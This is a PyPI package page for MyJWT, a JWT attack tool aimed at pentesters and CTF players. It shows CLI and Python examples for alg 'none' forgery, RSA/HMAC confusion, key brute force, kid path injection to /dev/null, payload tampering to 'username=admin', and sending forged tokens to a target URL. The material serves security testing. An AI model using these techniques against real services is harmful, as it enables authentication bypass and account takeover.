Skip to main content

MyJWT

mBouamama

Introduction

This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Check Documentation for more information.
If you see problems or enhancement send an issue.I will responds as soon as possible. Enjoy :)

Table of Contents

Features

  • modify jwt (header/Payload)
  • None Vulnerability
  • RSA/HMAC confusion
  • Sign a jwt with key
  • Brute Force to guess key
  • kid injection

Installation

To install myjwt, simply use pip:

pip install myjwt

To run mywt from a docker image, run:

docker run -v $(pwd)/wordlist:/wordlist/ -it ghcr.io/mBouamama/MyJWT myjwt

To install myjwt, on git:

git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python myjwt_cli.py --help

Usage

Usage

Examples

Modify your Jwt

CLI

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

from MyJWT.modifyJWT import addpayload, addheader, changePayload
from MyJWT.utils import jwtToJson, SIGNATURE, encodeJwt

jwtJson = jwtToJson(jwt)
jwtJson = addheader(jwtJson, {"kid": "001"})
jwtJson = changePayload(jwtJson, {"username": "admin"})
jwt = encodeJwt(jwtJson) + "." + jwtJson[SIGNATURE]

Full example here: 01-modify-jwt

None Vulnerability

CLI

myjwt YOUR_JWT --none-vulnerability

CODE

from MyJWT.utils import jwtToJson, SIGNATURE
from MyJWT.vulnerabilities import noneVulnerability
jwtJson = jwtToJson(jwt)
jwt = noneVulnerability(encodeJwt(jwtJson) + "." + jwtJson[SIGNATURE])

Full example here: 02-none-vulnerability

Sign Key

CLI

myjwt YOUR_JWT --sign YOUR_KEY

CODE

from MyJWT.modifyJWT import signature
from MyJWT.utils import jwtToJson
key = "test"
jwt = signature(jwtToJson(jwt), key)

Full example here: 03-sign-key

Brute Force

CLI

myjwt YOUR_JWT --bruteforce PATH

CODE

from MyJWT.vulnerabilities import bruteforceDict
wordlist = "../../wordlist/common_pass.txt"
key = bruteforceDict(jwt, wordlist)

Full example here: 04-brute-force

RSA/HMAC Confusion

CLI

myjwt YOUR_JWT --hmac FILE

CODE

from MyJWT.vulnerabilities import confusionRsaHmac
file = "public.pem"
jwt = confusionRsaHmac(jwt, file)

Full example here: 05-rsa-hmac-confusion

Kid Injection

CLI

myjwt YOUR_JWT --kid INJECTION

Code

from MyJWT.modifyJWT import signature
from MyJWT.utils import jwtToJson
from MyJWT.vulnerabilities import injectSqlKid

injection = "../../../../../../dev/null"
sign = ""
jwt = injectSqlKid(jwt, injection)
jwt = signature(jwtToJson(jwt), sign)

Full example here: 06-kid-injection

Send your new Jwt to url

CLI

myjwt YOUR_JSON -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Download

Check github releases. Latest is available at https://github.com/mBouamama/MyJWT/releases/latest

Contribute

#TODO

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

myjwt-1.0.1.tar.gz (9.7 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

myjwt-1.0.1-py3-none-any.whl (14.5 kB view details)

Uploaded Python 3

File details

Details for the file myjwt-1.0.1.tar.gz.

File metadata

  • Download URL: myjwt-1.0.1.tar.gz
  • Upload date:
  • Size: 9.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.24.0 setuptools/46.4.0 requests-toolbelt/0.9.1 tqdm/4.51.0 CPython/3.8.6

File hashes

Hashes for myjwt-1.0.1.tar.gz
Algorithm Hash digest
SHA256 034dbd77cccec9db116960d50ece975b2a18023c5f245d90d61171d92b39bb42
MD5 0d8f63db1de3a2dbcd34c20b964689c1
BLAKE2b-256 62c93d2fe6b81a0037e546eb79710305be7c8f350e134f41fe62347854e6bb0d

See more details on using hashes here.

File details

Details for the file myjwt-1.0.1-py3-none-any.whl.

File metadata

  • Download URL: myjwt-1.0.1-py3-none-any.whl
  • Upload date:
  • Size: 14.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.2.0 pkginfo/1.6.1 requests/2.24.0 setuptools/46.4.0 requests-toolbelt/0.9.1 tqdm/4.51.0 CPython/3.8.6

File hashes

Hashes for myjwt-1.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 0f30bcba6050b962849dec6e5f8d1415b59f595e46afecda50bd96436638e31d
MD5 a5dc3e46226492f0d16759e668374f5b
BLAKE2b-256 cc3c983509b2829ba44dc9e0058b9cdffc6628ff6e6d51382bbee1b97ff00bb4

See more details on using hashes here.

Release history Release notifications | RSS feed

2.1.0

2 files

2.0.0

2 files

1.6.0

2 files

1.5.0

2 files

1.4.0

2 files

1.3.0

2 files

1.2.0

2 files

1.1.3

2 files

1.1.2

2 files

1.1.1

2 files

1.1.0

2 files

1.0.2

1 file

This release

1.0.1 This release

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page